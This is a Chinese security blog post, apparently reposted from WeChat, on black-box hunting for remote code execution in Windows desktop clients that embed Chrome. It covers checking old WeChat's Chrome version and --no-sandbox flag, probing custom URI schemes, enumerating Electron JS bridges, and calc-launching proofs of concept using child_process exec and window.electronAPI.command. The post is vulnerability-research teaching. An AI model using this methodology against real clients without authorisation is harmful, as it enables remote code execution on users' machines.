强烈建议各大厂商自查客户端内嵌Chrome版本号、沙盒开启情况!
基于上面两篇文章,进行实践以及细节讲述,主要内容:
win PC客户端黑盒如何判断内嵌Chrome版本以及沙盒开启情况,寻找客户端伪协议接口和客户端js接口,并且进行漏洞挖掘。
使用工具
-
Chrome
-
procexp.exe 进程资源管理器 查看进程信息
-
Chrome RCE exp 漏洞利用
-
http://192.168.72.6/chrome_exp/1.html <89的Chrome exp
-
http://192.168.72.6/chrome_exp/2.html <95的Chrome exp
-
http://192.168.72.6/chrome_exp/3.html 便于调试的html页面,主要功能执行js。
-
Metasploit 漏洞利用工具
-
Fiddler 通过http/s请求包,查看程序Chrome版本
win客户端开发框架分类
-
Electron nodejs语言
-
QT框架 C++语言
-
CEF C/C++语言
本质还是功能既漏洞,发现功能是挖洞的第一步,很多时候使用这三种开发框架进行win客户端开发,都会有Chrome,我们主要侧重如何使得客户端里内嵌的Chrome页面变得可控。
示例
微信rce示例
用老版本微信,简单展示因为Chrome低版本导致的rce漏洞。
使用procexp进程管理工具,判断目标软件是否开启Chrome沙盒,以及Chrome内嵌版本情况。
WeChatWeb.exe --type=renderer --no-sandbox --client-id=wechat --disable-databases --primordial-pipe-token=CEE93D149A6809C561C64C4AB497AA75 --user-agent-extra="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2875.116 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x63010200)" --lang=en-US --lang=zh-CN --locales-dir-path="C:Users10101~1AppDataRoamingTencentWeChatAll UsersCefResources2585locales" --log-file="C:Users10101~1AppDataRoamingTencentWeChatlogcef.log" --resources-dir-path="C:Users10101~1AppDataRoamingTencentWeChatAll UsersCefResources2585" --enable-pinch --device-scale-factor=1 --num-raster-threads=2 --content-image-texture-target=3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553 --video-image-texture-target=3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553 --mojo-channel-token=123EAEB84ACA38AF13AB31328578CE49 --mojo-application-channel-token=CEE93D149A6809C561C64C4AB497AA75 --channel="9464.1.217022444635529677" --fix-fasa --mojo-platform-channel-handle=4140 /prefetch:1
如图所示,通过进程管理工具,发现该进程的参数存在 --no-sandbox ,以及UA版本是Chrome/53.0.2875.116,所以就存在因为内嵌Chrome版本较低,并且未开启沙盒,导致客户端RCE漏洞。
在实际该类漏洞挖掘中,第一步就是通过进程管理器,判断Chrome版本和沙盒开启情况,当然,有Chrome 0day的大佬不需要。
electron代码示例
伪协议
在目标客户端并没有类似微信这种社交功能时,可以考虑从别的方式入手,比如伪协议。
从代码层原理示例功能具体实现,以及挖洞思路,这里用electron简单开发了一个名为Nndercurrent_No3.exe的应用程序。
向win注册表注册了一个名为myapp1的伪协议。
在实际黑盒挖掘中,可以直接用注册表搜索应用程序名来判断该程序是否存在伪协议。
如图就说明,该程序存在伪协议。
伪协议参数
接收通过伪协议传来的url参数值,并且用该客户端窗口打开这个url。
通过浏览器打开myapp1://?url=http://192.168.72.6/chrome_exp/3.html
就使得该应用程序跳转进设置的这个url页面,在这类漏洞实际挖掘中,大多数时候需要一个特定url域的xss或者url跳转,进行特权域检测绕过。
寻找伪协议参数,可以通过去该程序的web站点分析js,或者进行反编译逆向,或者在github进行搜索。
拿tg举例:
然后对这些参数进行安全测试。
漏洞挖掘
在打开该测试页面后。
-
如果如图UA显示Chrome版本低,并且有对应版本的Chrome exp,就可以试试Chrome的漏洞。
-
根据挖洞经验,electron都可以考虑进行node的命令执行试试,存不存在开发人员因为某些原因,可以直接执行nodejs命令执行的情况。
利用node系统库执行cmd命令
const { exec } = require('child_process');
exec('calc', (error, stdout, stderr) => {
if (error) {
alert(`Error executing command: ${error.message}`);
return;
}
if (stderr) {
alert(`Standard Error: ${stderr}`);
}
alert(`Standard Output: ${stdout}`);
});
-
寻找客户端js接口
如该程序,我就注册了一个名为electronAPI的客户端js接口,在实际该类漏洞挖掘中,如何发现js接口,也有很多种方式。
-
打开该程序目录,寻找web类资源文件,发现js接口。
-
逆向反编译
-
Fiddler全局http/s代理,发现内嵌页面的url,在js里找。
-
通过js脚本暴力盲测
遍历js,发现window对象的可疑接口
寻找客户端js接口
var viewElement = document.getElementById('view');
for (var key in window) {
if (window.hasOwnProperty(key)) {
var propertyValue = window.key;
var propertyText = key;
var propertyNode = document.createTextNode(propertyText);
viewElement.appendChild(propertyNode);
viewElement.appendChild(document.createElement('br'));
}
}
发现了electronAPI这个接口,再进行下一步发现。
var viewElement = document.getElementById('view');
for (var key in window.electronAPI) {
if (window.electronAPI.hasOwnProperty(key)) {
var propertyValue = window.electronAPI[key];
var propertyText = key;
var propertyNode = document.createTextNode(propertyText);
viewElement.appendChild(document.createElement('br'));
viewElement.appendChild(propertyNode);
}
}
command这个字符就有价值进行盲测试一试。
window.electronAPI.command('calc')
End
整个流程,先判断目标软件是否是存在Chrome内嵌的情况,Chrome版本以及沙盒开启情况,并且内嵌的web页面是否可控,然后以上方式,或者其他方式进行功能发掘,之后分析这些功能是否存在安全漏洞,当然不止RCE,还有很多什么任意文件读取,uxss,信息泄露之类,winmacAndroid同理。
原文始发于微信公众号(鬼麦子):win客户端黑盒挖掘
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论